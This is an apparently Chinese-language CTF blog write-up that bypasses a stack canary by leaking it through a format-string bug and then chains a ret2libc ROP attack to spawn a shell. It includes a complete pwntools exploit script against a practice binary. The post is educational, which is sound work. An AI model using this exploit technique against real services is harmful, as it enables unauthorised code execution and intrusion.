Canary绕过专题(2)——格式化字符串泄露

369 字
2 分钟
Canary绕过专题(2)——格式化字符串泄露

格式化字符串泄露Canary#

检查一下安全机制

image.png
image.png

再看看IDA

image.png
image.png

跟上一道题差不多,但第一个 read只能读取5字节

我们主要还是关注后面的 printf

使用 printf的关键是找栈上的偏移

我们在gdb里运行到Canary在栈上被布置后,查看栈内容

image.png
image.png

发现Canary在0x7fffffffdc80 + 0x8的位置

fmtarg(需先安装pwngdb,并设置与pwndbg联动使用)计算出Canary的偏移是19

image.png
image.png

测试一下,没问题

image.png
image.png

这里要注意,%19$p已经有五个字节了,如果使用 sendline来发送payload,多出来的换行符会直接用于下一个 read,导致程序提前结束

泄露Canary后就是常见的ret2libc思路

先把libcld绑定一下

Terminal window
$patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./canary
Terminal window
$patchelf --replace-needed libc.so.6 ./libc.so.6 ./canary2 $

puts来泄露libc地址,再用pwntools自动查找地址

但第二次输入机会被我们用来泄露libc了,所以payload2要返回main函数,再泄露一次Canary

最终exp如下:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./canary2')
libc_elf = ELF('./libc.so.6')
p = remote("ip",port)
#gdb.attach(p)
p.recvuntil(b'say:\n')
p.send(b'%19$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
success(f"Canary Leaked: {hex(canary)}")
ret = 0x40101a
pop_rdi = 0x401223
put_plt = elf.plt['puts']
put_got = elf.got['puts']
main = elf.symbols['main']
payload2 = b'A'*104 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(main)
p.sendline(payload2)
p.recvuntil("Bye~\n")
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - libc_elf.sym["puts"]
system = libc_base + libc_elf.sym['system']
binsh = libc_base + next(libc_elf.search(b'/bin/sh'))
success(f"Libc base: {hex(libc_base)}")
success(f"System: {hex(system)}")
success(f"/bin/sh: {hex(binsh)}")
p.recvuntil(b'say:\n')
p.send(b'%19$p')
p.recvuntil(b'0x')
canary2 = int(p.recv(16),16)
payload3 = b'A'*104 + p64(canary2) + b'B'*8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload3)
p.interactive()

支持与分享

如果这篇文章对你有帮助,欢迎分享给更多人或赞助支持!

赞助
Canary绕过专题(2)——格式化字符串泄露
https://joker233.top/posts/canary-bypass-2-format-string-leak/
作者
joker233
发布于
2025-11-01
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
joker233
Aspiring to master the art of pwn.
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
标签
站点统计
文章
11
分类
3
标签
8
总字数
13,896
运行时长
0
最后活动
0 天前

目录